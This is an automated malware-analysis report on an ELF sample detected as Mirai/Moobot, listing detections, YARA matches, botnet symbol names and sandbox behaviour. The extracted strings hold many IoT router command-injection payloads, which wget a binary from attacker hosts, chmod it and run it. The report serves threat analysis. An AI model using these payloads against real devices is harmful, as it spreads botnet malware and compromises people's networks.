Linux Analysis Report
86xklcDnGU.elf

Overview

General Information

Sample name: 86xklcDnGU.elf
renamed because original name is a hash value
Original sample name: e3f4deb0a74a97e90b7ebec168ae6a9e.elf
Analysis ID: 1447655
MD5: e3f4deb0a74a97e90b7ebec168ae6a9e
SHA1: 446d068f1ab079dc17960e1039354d019d8765a4
SHA256: 8f85c0f7e7c783069a92967a0ddc6a5557ffd1b1633aa49e10680dca208b4c44
Tags: 32elfgafgytsparc
Infos:

Detection

Mirai, Moobot
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Moobot
Contains symbols with names commonly found in malware
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Sample tries to set the executable flag
Sets full permissions to files and/or directories
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
Name Description Attribution Blogpost URLs Link
MooBot No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 86xklcDnGU.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: 86xklcDnGU.elf Virustotal: Detection: 55% Perma Link
Source: 86xklcDnGU.elf ReversingLabs: Detection: 52%
Found strings indicative of a multi-platform dropper
Source: 86xklcDnGU.elf String: %7B%22hostname%22%3A%20%221%27wget%20http%3A%2F%2Fwoshishabi.zzy.rip%2Fmips%3B%20chmod%20777%20mips%3B%20.%2Fmips%20totolin.selfrep%3Becho%27%22%2C%20%22dhcpMtu%22%3A%20%221500%22%2C%20%22proto%22%3A%209%2C%20%22dnsMode%22%3A%20%220%22%2C%20%22ttlWay%22%3A%20%221%22%2C%20%22lcpEchoEnable%22%3A%20%221%22%2C%20%22clone%22%3A%20%220%22%2C%20%22cloneMac%22%3A%20%221C%3AF4%3A08%3A53%3A15%3A60%22%2C%20%22topicurl%22%3A%20%22setWanCfg%22%2C%20%22token%22%3A%20%229d48f879b6940d711cd1449c6f4b4186%22%7D
Source: 86xklcDnGU.elf String: %7B%22hostname%22%3A%20%221%27wget%20http%3A%2F%2Fwoshishabi.zzy.rip%2Fmips%3B%20chmod%20777%20mips%3B%20.%2Fmips%20totolin.selfrep%3Becho%27%22%2C%20%22dhcpMtu%22%3A%20%221500%22%2C%20%22proto%22%3A%209%2C%20%22dnsMode%22%3A%20%220%22%2C%20%22ttlWay%22%3A%20%221%22%2C%20%22lcpEchoEnable%22%3A%20%221%22%2C%20%22clone%22%3A%20%220%22%2C%20%22cloneMac%22%3A%20%221C%3AF4%3A08%3A53%3A15%3A60%22%2C%20%22topicurl%22%3A%20%22setWanCfg%22%2C%20%22token%22%3A%20%229d48f879b6940d711cd1449c6f4b4186%22%7DPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Source: 86xklcDnGU.elf String found in binary or memory: http://0.0.0.0/bins/sora.mips;
Source: 86xklcDnGU.elf String found in binary or memory: http://104.244.74.231/jack5tr.selfrep.sh
Source: 86xklcDnGU.elf String found in binary or memory: http://104.244.74.231/mips
Source: 86xklcDnGU.elf String found in binary or memory: http://104.244.74.231/sora.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$
Source: 86xklcDnGU.elf String found in binary or memory: http://104.244.74.231/x86
Source: 86xklcDnGU.elf String found in binary or memory: http://purenetworks.com/HNAP1/
Source: 86xklcDnGU.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 86xklcDnGU.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 86xklcDnGU.elf String found in binary or memory: http://woshishabi.zzy.rip/wget.sh$
Source: 86xklcDnGU.elf String found in binary or memory: http://woshishabi.zzy.rip/x86

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 86xklcDnGU.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6254.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6250.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6223.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 86xklcDnGU.elf PID: 6223, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 86xklcDnGU.elf PID: 6250, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 86xklcDnGU.elf PID: 6254, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Contains symbols with names commonly found in malware
Source: ELF static info symbol of initial sample Name: attack.c
Source: ELF static info symbol of initial sample Name: attack_get_opt_int
Source: ELF static info symbol of initial sample Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample Name: attack_init
Source: ELF static info symbol of initial sample Name: attack_kill_all
Source: ELF static info symbol of initial sample Name: attack_method_nudp
Source: ELF static info symbol of initial sample Name: attack_method_stdhex
Source: ELF static info symbol of initial sample Name: attack_method_tcp
Source: ELF static info symbol of initial sample Name: attack_ongoing
Source: ELF static info symbol of initial sample Name: attack_parse
Sample and/or dropped files contains symbols with suspicious names
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: asus_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: asus_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: dlinkscanner_fake_time
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: dlinkscanner_rsck
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: dlinkscanner_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: dlinkscanner_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: dlinkscanner_setup_connection
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: hexPayload
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: hnapscanner_fake_time
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: hnapscanner_rsck
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: hnapscanner_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: hnapscanner_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: hnapscanner_setup_connection
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: huawei_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: huawei_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: lblink_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: lblink_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: linksys_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: linksys_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: nuuo_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: nuuo_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: realtekscanner_fake_time
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: realtekscanner_rsck
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: realtekscanner_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: realtekscanner_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: realtekscanner_setup_connection
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: scanner_init
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: totolink_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: totolink_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: tplink_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: tplink_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: tr064_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: tr064_scanner_rawpkt
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: tvt_scanner_pid
Source: 86xklcDnGU.elf ELF static info symbol of initial sample: tvt_scanner_rawpkt
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://104.244.74.231/jack5tr.selfrep.sh+-O+vaicalon;chmod+777+*;sh+vaicalon+gpon.selfrep`&ipv=0
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://104.244.74.231/jack5tr.selfrep.sh+-O+anngu;chmod+777+*;sh+anngu+gpon.selfrep`&ipv=0
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://104.244.74.231/mips -O .0721; /bin/busybox chmod 777 .0721; ./.0721 huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://104.244.74.231/jack5tr.selfrep.sh+-O+vaicalon;chmod+777+*;sh+vaicalon+gpon.selfrep`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://104.244.74.231/jack5tr.selfrep.sh+-O+anngu;chmod+777+*;sh+anngu+gpon.selfrep`&ipv=0POST /HNAP1/ HTTP/1.0
Source: Initial sample String containing 'busybox' found: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Ares.mpsl%3B+wget%20http%3A%2F%2F104.244.74.231%2Fmpsl%20-O%20.0721%3B%20chmod%20777%20.0721%3B%20.%2F.0721%20link.selfrep%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1h/bin/busybox/bin/watchdog/bin/systemdbin/busyboxbin/watchdogbin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777
Sample contains strings that are potentially command strings
Source: Initial sample Potential command found: GET /device.rsp?opt=sys&cmd=_S_O_S_T_R_E_A_MAX_&mdb=sos&mdc=uname%20-a%3Bwget%20http%3A%2F%2F15.235.163.157%2Fjack5tr.selfrep.sh%20-O%20.072l%3Bsh%20.072l%20TBKDvR HTTP/1.1
Source: Initial sample Potential command found: GET /ping.cgi?pingIpAddress=google.fr%3Bwget%20http%3A%2F%2F104.244.74.231%2Fmips%20-O%20.0721%3Bchmod%20777%20.0721%3B.%2F.0721 HTTP/1.1
Source: Initial sample Potential command found: GET /login.cgi?cli=aa%20aa%27%3Bwget%20http%3A%2F%2F104.244.74.231%2Fjack5tr.selfrep.sh%20-O%20.072l%3Bsh%20.072l%20dlink%27%24 HTTP/1.1
Source: Initial sample Potential command found: GET /
Source: Initial sample Potential command found: GET /shell?cd%20%2Ftmp%3Brm%20-rf%20*%3Bwget%20104.244.74.231%2Fjack5tr.selfrep.sh%20-O%20.072l%3Bchmod%20777%20.072l%3Bsh%20.072l%20jaws HTTP/1.1
Source: Initial sample Potential command found: GET /login.cgi?cli=aa%20aa%27%3Bwget%20http%3A%2F%2F104.244.74.231%2Fjack5tr.selfrep.sh%20-O%20.072l%3Bsh%20.072l%20dlink%27%24 HTTP/1.1
Source: Initial sample Potential command found: GET /HEAD /POST /HTTP/1.1 404 Not FoundServer: Apache %d
Source: Initial sample Potential command found: GET /debugging_center_utils_.php?log=%3Bwget%20http%3A%2F%2Fwoshishabi.zzy.rip%2Fjack5tr.selfrep.sh%20-O-%20%7C%20sh%20nuuo HTTP/1.1
Source: Initial sample Potential command found: GET /debugging_center_utils_.php?log=%3Bwget%20http%3A%2F%2Fwoshishabi.zzy.rip%2Fjack5tr.selfrep.sh%20-O-%20%7C%20sh%20nuuo HTTP/1.1w5q6he3dbrsgmclkiu4to18npavj702fPOST /picdesc.xml HTTP/1.1
Source: Initial sample Potential command found: GET /index.php?s=/index/hink
Source: Initial sample Potential command found: GET /%s HTTP/1.0
Yara signature match
Source: 86xklcDnGU.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6254.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6250.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6223.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 86xklcDnGU.elf PID: 6223, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 86xklcDnGU.elf PID: 6250, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 86xklcDnGU.elf PID: 6254, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal92.troj.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6234/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6236/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1582/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/3088/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/230/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/110/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/231/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/111/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/232/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1579/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/112/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/233/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1699/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/113/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/234/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1335/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1698/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/114/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/235/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1334/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1576/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/2302/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/115/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/236/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/116/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/237/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/117/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/118/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/910/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/119/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/912/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/10/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/2307/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/11/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/918/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/12/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6240/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/13/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/14/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6242/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/15/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/16/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6244/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/17/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/18/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6246/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1594/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/120/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/121/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1349/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/122/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/243/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/123/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/2/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/124/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/4/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/125/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/126/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1344/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1465/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1586/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/127/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/248/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/128/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/249/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1463/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/800/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6238/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/9/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/801/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6239/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/20/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/21/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1900/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/22/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/23/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/24/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6254/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/25/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6253/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/26/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6256/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/27/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/28/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6258/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/29/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/491/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/250/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/130/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/251/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/6250/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/252/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/132/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/253/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/254/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/255/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/256/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1599/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/257/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/379/cmdline Jump to behavior
Source: /tmp/86xklcDnGU.elf (PID: 6233) File opened: /proc/258/cmdline Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/86xklcDnGU.elf (PID: 6225) Shell command executed: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/86xklcDnGU.elf bin/busybox; chmod 777 bin/busybox" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6230) Chmod executable: /usr/bin/chmod -> chmod 777 bin/busybox Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6228) Mkdir executable: /usr/bin/mkdir -> mkdir bin Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/sh (PID: 6227) Rm executable: /usr/bin/rm -> rm -rf bin/busybox Jump to behavior
Sample tries to set the executable flag
Source: /usr/bin/chmod (PID: 6230) File: /tmp/bin/busybox (bits: - usr: rwx grp: rwx all: rwx) Jump to behavior
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 6230) Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/busybox Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/86xklcDnGU.elf (PID: 6223) Queries kernel information via 'uname': Jump to behavior
Source: 86xklcDnGU.elf, 6223.1.0000556d0fbd8000.0000556d0fc3d000.rw-.sdmp, 86xklcDnGU.elf, 6250.1.0000556d0fbd8000.0000556d0fc3d000.rw-.sdmp, 86xklcDnGU.elf, 6254.1.0000556d0fbd8000.0000556d0fc3d000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: 86xklcDnGU.elf, 6223.1.0000556d0fbd8000.0000556d0fc3d000.rw-.sdmp, 86xklcDnGU.elf, 6250.1.0000556d0fbd8000.0000556d0fc3d000.rw-.sdmp, 86xklcDnGU.elf, 6254.1.0000556d0fbd8000.0000556d0fc3d000.rw-.sdmp Binary or memory string: mU!/etc/qemu-binfmt/sparc
Source: 86xklcDnGU.elf, 6223.1.00007fff0480b000.00007fff0482c000.rw-.sdmp, 86xklcDnGU.elf, 6250.1.00007fff0480b000.00007fff0482c000.rw-.sdmp, 86xklcDnGU.elf, 6254.1.00007fff0480b000.00007fff0482c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/86xklcDnGU.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/86xklcDnGU.elf
